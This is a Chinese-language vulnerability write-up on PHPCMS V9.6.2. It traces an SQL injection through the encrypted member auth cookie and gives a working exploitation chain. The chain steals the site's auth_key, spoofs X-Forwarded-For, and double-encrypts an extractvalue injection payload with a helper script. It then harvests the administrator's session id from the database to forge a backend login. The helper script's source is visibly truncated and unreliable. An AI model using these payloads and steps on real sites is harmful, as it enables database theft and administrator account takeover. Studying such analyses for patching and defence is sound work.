PHPCMS V9.6.2 SQL注入漏洞分析

在会员前台管理中心接口的继承父类foreground: /phpcms/modules/member/index.php LINE 11 ```php class index extends foreground { private $times_db; function __construct() { parent::__construct(); $this->http_user_agent = $_SERVER['HTTP_USER_AGENT']; } ``` 这里继承了foreground,跟进去: /phpcms/modules/member/classes/foreground.class.php line 19-38: ```php /** * 判断用户是否已经登陆 */ final public function check_member() { $phpcms_auth = param::get_cookie('auth'); if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) { if ($phpcms_auth && ROUTE_A != 'mini') { showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index'); } else { return true; } } else { //判断是否存在auth cookie if ($phpcms_auth) { $auth_key = $auth_key = get_auth_key('login'); list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key)); //验证用户,获取用户信息 $this->memberinfo = $this->db->get_one(array('userid'=>$userid)); //注入点在这 if($this->memberinfo['islock']) exit('

Bad Request!

'); //获取用户模型信息 $this->db->set_model($this->memberinfo['modelid']); ``` 首先看到这里是验证前台会员用户是否登录,验证方法是解析客户端的cookie_pre_auth参数: ```php $phpcms_auth = param::get_cookie('auth’); ``` 跟到get_cookie函数: /phpcms/libs/classes/param.class.php LINE 107-116 ```php /** * 获取通过 set_cookie 设置的 cookie 变量 * @param string $var 变量名 * @param string $default 默认值 * @return mixed 成功则返回cookie 值,否则返回 false */ public static function get_cookie($var, $default = '') { $var = pc_base::load_config('system','cookie_pre').$var; $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default; if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) { $value = intval($value); } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { // site_model auth $value = safe_replace($value); } return $value; } ``` 首先读取system.php(网站全局配置./caches/configs/system.php)中的配置参数cookie_pre,也就是网站默认随机分配的cookie前缀,然后再读取到客户端cookie中的cookie_pre_auth值放入sys_auth中解密,那么客户端的cookie_pre_auth应该是经过加密处理后的,有了这些信息后get_cookie先放到这里往下走到get_auth_key: ```php $auth_key = $auth_key = get_auth_key('login'); list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key)); //验证用户,获取用户信息 $this->memberinfo = $this->db->get_one(array('userid'=>$userid)); ``` 这里咱们看到DECODE用到的key是$auth_key,而$auth_key又是通过get_auth_key('login’)获得的,再跟进get_auth_key: ./phpcms/libs/functions/global.func.php LINE 1601-1611: ```php /** * 生成验证key * @param $prefix 参数 * @param $suffix 参数 */ function get_auth_key($prefix,$suffix="") { if($prefix=='login'){ $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip()); }else if($prefix=='email'){ $pc_auth_key = md5(pc_base::load_config('system','auth_key')); }else{ $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix); } $authkey = md5($prefix.$pc_auth_key); return $authkey; } ``` 可以看到这个$prefix即是外部传入的login,满足$prefix==‘login’后开始拼接客户端ip地址再对值进行md5加密,发现ip()是可以伪造的: ```php function ip() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $ip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $ip = $_SERVER['REMOTE_ADDR']; } return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : ''; } ``` 最后得到的md5值就是sys_auth($phpcms_auth, 'DECODE', $auth_key)的解密key了,这样来分析的话payload就是经过了两次加密,完全无视任何第三方防御。 **利用方式就简单了:** 通过任意文件读取获取到全局配置文件的auth_key值: ![](http://0day5.com/usr/uploads/2017/05/1314547461.png) 首先执行get_auth_key加密,在代码中输出$authkey = md5($prefix.$pc_auth_key)的值: ```php function get_auth_key($prefix,$suffix="") { if($prefix=='login'){ $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip()); }else if($prefix=='email'){ $pc_auth_key = md5(pc_base::load_config('system','auth_key')); }else{ $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix); } $authkey = md5($prefix.$pc_auth_key); echo $authkey; exit(); return $authkey; } ``` 方便测试,IP参数伪造为X-Forwarded-For: 123.59.214.3,输出了$authkey后直接exit了: ![](http://0day5.com/usr/uploads/2017/05/394850582.png) 然后把phpcms关键的加解密函数sys_auth单独写到某个php文件里面: sys_auth_key.php: ```php 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '='); } } $sql = $_GET['sql']; $key = $_GET['key']; echo sys_auth($sql,'ENCODE',$key); ?> ``` 带入$authkey与sqli payload: 第一次加密: ```php http://127.0.0.1/dashboard/sys_auth_key.php?sql=1%27%20and%20%28extractvalue%281%2Cconcat%280x7e%2C%28select%20user%28%29%29%2C0x7e%29%29%29%3B%23%5Ctokee&key=e58cb4eb9cc211f7b0fc070d428438de ``` ![](http://0day5.com/usr/uploads/2017/05/2872812860.png) 第二次加密: ``` http://127.0.0.1/dashboard/sys_auth_key.php?sql=b5a4XCOdNpHwEb7nT4CUVMjUkE_cO9B7umiy5--PEK9R094s0L-dvb0HVCB5RUf1SlGkbDbu7HS6lL0mgrx8CGHWjG3m01zuIiyM5dbJ6D0lXZoZZvjOpIXlwTx_30M&key=exbsh7iuTSQsEcwLBcnB 5cb5c0FCT6xz4xz7T1WONsQUFmoD3r0s8EkbTGyKIcnGDJsFO8g8fqAsJLu7_FuzHdJSsyxf7RL1jzO0Lvpq_3bzvfxOB6RRNEr938TYOwW3-QrF4JevCrf8taCsSuwK1FN6hwWf2s1AQDoXc2RL6SlZ-YwM3msW7vafcw5Vmxq7cPp3NSap1SV7l5h8gdGbm0HxiI_AmC4OTrFf ``` 然后带入到auth中里面去访问member接口: ![](http://0day5.com/usr/uploads/2017/05/3276002020.png) **伪造session进入后台** 众所周知,通过sql注入得到的phpcms的管理员密码是无法破解出来的,具体加密啊算法: /phpcms/libs/functions/global.func.php LINE 1248 ```php /** * 对用户的密码进行加密 * @param $password * @param $encrypt //传入加密串,在修改密码时做认证 * @return array/password */ function password($password, $encrypt='') { $pwd = array(); $pwd['encrypt'] = $encrypt ? $encrypt : create_randomstr(); $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']); return $encrypt ? $pwd['password'] : $pwd; } ``` 简单来说就是把明文密码做md5加密再连接上encrypt值(encrypt是创建用户的时候随机分配的字符串),再做一次md5加密,这样就很难解密了。 然而phpcms一直存在一处问题就是管理员登陆后台会将服务端的session值保存在数据库中,通过注入可以获取到session值来伪造访问后台页面,具体配置在system.php中: ```php '/phpcmsv961/', //Session配置 'session_storage' => 'mysql', 'session_ttl' => 1800, 'session_savepath' => CACHE_PATH.'sessions/', 'session_n' => 0, //Cookie配置 'cookie_domain' => '', //Cookie 作用域 'cookie_path' => '', //Cookie 作用路径 'cookie_pre' => 'qErKa_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 'cookie_ttl' => 0, //Cookie 生命周期,0 表示随浏览器进程 ``` mysql存储方式,session有效期为30分钟。 /phpcms/libs/classes/session_mysql.class.php ```php /** * 删除指定的session_id * * @param $id session * @return bool */ public function destroy($id) { return $this->db->delete(array('sessionid'=>$id)); } /** * 删除过期的 session * * @param $maxlifetime 存活期时间 * @return bool */ public function gc($maxlifetime) { $expiretime = SYS_TIME - $maxlifetime; return $this->db->delete("`lastvisit`<$expiretime"); } } ``` 只要触发了gc或destroy函数就会删除数据库中的session值,当管理员重新登陆后台后才重新生成session插入数据库中。 session数据库存放位置: ![](http://0day5.com/usr/uploads/2017/05/660987519.png) 从mysql日志中分析可知:当管理员登陆后台会插入新的session到v9_session表中,每次后台操作都会进行这样的操作,使数据库中的sessionid保持最新,但是值不变。 ![](http://0day5.com/usr/uploads/2017/05/2079990281.png) 在管理员登陆后台并且在未注销的前提下是可以通过获取管理员session值来伪造登陆的,限于篇幅,注入过程不再细说,这里直接上图: ![](http://0day5.com/usr/uploads/2017/05/92757272.png) 得到sessionid,在得到这个参数后还需要一个值,就是pc_hash值,这个值在后台是个随机数,作者是想防止越权以及csrf而设计的,然而对于获取到了后台权限的我们只是一个摆设,下面直接提交数据包访问控制台首页: ![](http://0day5.com/usr/uploads/2017/05/1609533325.png)

发表评论